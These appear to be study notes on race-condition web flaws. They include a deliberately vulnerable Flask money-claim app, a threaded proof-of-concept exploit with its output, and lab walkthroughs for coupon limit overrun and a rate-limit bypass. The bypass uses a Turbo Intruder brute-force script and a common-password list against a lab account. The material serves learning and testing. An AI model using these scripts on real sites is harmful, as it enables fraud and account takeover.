(Black Hat USA 2023)
Race condition is type of logical vulnerability, that occur when the server handle requests concurrently(Multi-Threads) without enough safeguard.

In a race condition, the occurrence is often tied to a specific time window, known as the "Race Window," typically measured in milliseconds.
VulnsCode
```python
from flask import Flask, request, g, render_template_string
import sqlite3
import os
app = Flask(__name__)
DATABASE = 'race.db'
def get_db():
if not hasattr(g, 'db'):
g.db = sqlite3.connect(DATABASE)
return g.db
def init_db():
if not os.path.exists(DATABASE):
db = sqlite3.connect(DATABASE)
c = db.cursor()
c.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, balance INTEGER, claimed INTEGER)")
c.execute("INSERT OR IGNORE INTO users VALUES (1, 0, 0)")
db.commit()
db.close()
#route
# / -> get money form
# /blance -> check your account money
# /get money -> get money
# /reset -> Reset your account
# Work on 2025/4/7
@app.route("/", methods=["GET"])
def index():
return render_template_string("""
<h2>๐ฐ Get Your Free Money</h2>
<form action="/get_money" method="post">
<button type="submit">Claim $100</button>
</form>
<br>
<h3>๐งน Reset for Testing</h3>
<form action="/reset" method="post">
<button type="submit">Reset DB</button>
</form>
<br>
<a href="/balance">Check Balance</a>
""")
# Get Money from browser
@app.route("/get_money", methods=["POST"])
def get_money():
db = get_db()
c = db.cursor()
user_id = 1 # Simplified: always use same user
c.execute("SELECT claimed FROM users WHERE id = ?", (user_id,))
claimed = c.fetchone()[0]
# Check if claimed
if claimed:
return "Already claimed!", 403
# Simulate race condition delay (Race Windows = 0.1)
#import time; time.sleep(0.1) # here can replace realword processing time
# Testing on local env -> Very low Delay !
# no time.sleep 5/10 work
# time.sleep(0.1) 10/10 work
# time.sleep(0.01) 9/10 work
# Update balance and claimed flag
c.execute("UPDATE users SET balance = balance + 100 WHERE id = ?", (user_id,))
c.execute("UPDATE users SET claimed = 1 WHERE id = ?", (user_id,))
db.commit()
return "Success!"
@app.route("/balance", methods=["GET"])
def check_balance():
db = get_db()
c = db.cursor()
c.execute("SELECT balance FROM users WHERE id = 1")
balance = c.fetchone()[0]
return f"Current balance: ${balance}"
@app.route("/reset", methods=["POST"])
def reset_db():
db = get_db()
c = db.cursor()
c.execute("UPDATE users SET balance = 0, claimed = 0 WHERE id = 1")
db.commit()
return "Database reset! Ready for testing again ๐ฃ"
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, 'db', None)
if db is not None:
db.close()
if __name__ == "__main__":
init_db()
app.run(debug=True, threaded=True) # each request runs in its own thread
```
Exploit(POC)
```python=
import requests
import threading
# Local vulnerable endpoint
URL = "http://127.0.0.1:5000/get_money"
# No auth headers needed for this example, but keep the dict structure
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded"
}
# Number of concurrent requests to simulate race condition
NUM_REQUESTS = 10
def exploit():
try:
response = requests.post(URL, headers=HEADERS)
print(f"[+] Response: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Error: {e}")
threads = []
# Spawn multiple threads sending requests at the same time
for _ in range(NUM_REQUESTS):
t = threading.Thread(target=exploit)
t.start()
threads.append(t)
for t in threads:
t.join()
# Check result
try:
balance_response = requests.get("http://127.0.0.1:5000/balance")
print(f"[๐ฐ] Final Balance: {balance_response.text}")
except Exception as e:
print(f"[-] Could not fetch balance: {e}")
# PS C:\Users\user\Desktop\ExploitANdToolDev\WEB\RaceCondiction\whiteBox> python .\explit.py
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [+] Response: 200 - Success!
# [๐ฐ] Final Balance: Current balance: $1000
# Why It Works
# Cause Explanation
# โ No atomic check+update The claimed check and the update are separate, allowing overlaps
# โ No row-level locking SQLite allows concurrent reads; updates happen after race has passed
# โ No transaction isolation Each request opens its own SQLite connection and transaction
# โ Simulated delay (sleep) Worsens the problem, making the race easier to exploit
# โ Flask threaded=True Allows concurrent request handling, which triggers the vulnerability
```
# Limit Overrun (Concept)
"Time-of-Check to Time-of-use" - flaws
Race condition provide a way to surpass the constraint imposed by if statement and execute the code block.
Normal Situation

Exploit - Race Condition (Limit Overrun)

Requests 1 and 2 are processed concurrently by multiple threading during the race window (time-of-check to time-of-use). This scenario illustrates how a race condition can be exploited to potentially bypass limitations and execute code blocks.
Variant type of exploit behavior
- Redeeming discount multiple time
- Ratting product multiple time
- withdrawing or transfer cash
- Reusing a CAPTCHA solution
- Bypassing an anti-brute-force rate limit.
## Identify Limit Overrun flawed
Steps of Identify limit overrun flaws
- Search security or critical Endpoint
- single-Use
- Rate-time
- Send concurrently request to trigger the race condition
- Observer the endpoint's behavior
## Exploit Limit Overrun
### Jitter Issue & Solutions

To overcome the jitter, the burpsuite repeater allow us send a group of parallel requests that greatly reduces the network jitter.
Burp automatically adjusts the technique it uses to suit the HTTP version supported by the server:
HTTP /1 -> Last-byte Synchronization
HTTP /2 -> Single-Packet Attack (Black HAT USA 2023)
**Last-byte Synchronization allow** to mitigate network congestion and ensure a group of requests get processed by the target server simultaneously.
**Single-packet Attack** enables us to completely neutralize interference from network jitter by using single TCP packet to complete 20 ~30 request simultaneously.

Single Packet Attack Reference (https://infosecwriteups.com/dive-into-single-packet-attack-3d3849ffe1d2)
**Notice:
Sending a large number of requests like this helps to mitigate internal latency**
### LAB-1: Exploit - Limit overrun (Repeater)
Valid Credential:
wiener:peter
#### Mapping the target & Recon

#### Analysis the attack surface
Parameter

Functionality
- Login
- Cart
- Coupon
Coupon is single-user functionality
Single User Functionality

#### Identify
Identify Coupon functionality whether is easily affect by race condition

Unable apply coupon

Create Multiple Apply coupon request

Adding them into a group and send it concurrently


Using single packet attack



Coupon function is easy affected by race condition
#### Exploit
Send multiple reqeust at once time help to reduce the jitter in single packet Attack
Exploit this vulnerability to apply coupon in multiple time
20 Request



Solved!
## Turbo Intruder (Extension)
BApp Store
It's suitable for more complex attack such as
- Multiple retries
- Stagger request timing,
- Extremely large number of request.
### LAB2 - Bypassing Rate limit
#### Mapping the target & Recon
#### Analysis Attack Surface
Parameters

Functionality
- Login page

Limit Rate
- Update Email
#### Identify
Testing Login page of lime rate -> Is it allow to use race condition to bypass
Limit Rate (manual )-> 5
Single Packet Attack

Login function exists a race condition vulnerability. allow use attempt using brute force to Guess password
#### Exploit
Target Account: Carlos
Potential Carlos's Password
```
123123
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
1234567890
michael
x654321
superman
1qaz2wsx
baseball
7777777
121212
000000
```
Using Turbo Intruder component to customer attacker

Single-Packet Attack (Template-Bypass Anti-Brute-Force)
Place Holder -> `%s`
```python=
def queueRequests(target, wordlists):
# target -> HTTP/2,
# use engine=Engine.BURP2 and concurrentConnections=1 for a single-packet attack
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Assign the password from clipboard (Ctrl + C )
passwords = wordlists.clipboard
# Queue All request
# The 'gate' argument withholds the final part of each request until engine.openGate() is invoked
for password in passwords:
engine.queue(target.req, password, gate='1')
# Once every request has been queued
# Send all requests in the given gate simultaneously
engine.openGate('1')
def handleResponse(req, interesting):
table.add(req)
```
Copy password to clipboard (Ctrl + c)




Solved !!
# Hidden Multi-Step Sequence

Those hidden actions can be a request or functionality, We'll refer to these as "sub-states".
If we can abuse those sub-states, it allow us to exploit the race condition by time sensitive vulnerability of kinds of login flaw.
For example, 2MF authentication bypass

Vulnerable code (MFA Enable)
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
## Identify (Multi-Step Sequence)
Identifying methodology

## Prediction
Find the endpoint that involve the security or impotent functionality
E.g.
Password Reset(critical/security) of implement.

## Prob
1. Testing the functionality in normal condition.
2. Using Repeater sends sequence request in group to for recording response
3. Comparing the both result to find out the different or odd behaviors.
## Proof the Concept
To Understand what happening and remove superfluous request.
# Multi-endpoint Race Condition

Single Connection of Payment Validation


## Aligning multi-endpoint Race Windows
### LAB - ??
Valid Credential:
wiener:peter.
#### Enumeration & Analysis Attack Surface
(Actions-Options)
- SiteMap
- Content Discover
- Find Script
- Dynamic Parameter (Attacker Surface )

#### Identify
**Investigation**
**Flaw Design**
**Defense Mechanism **
**Bypass**
#### Exploit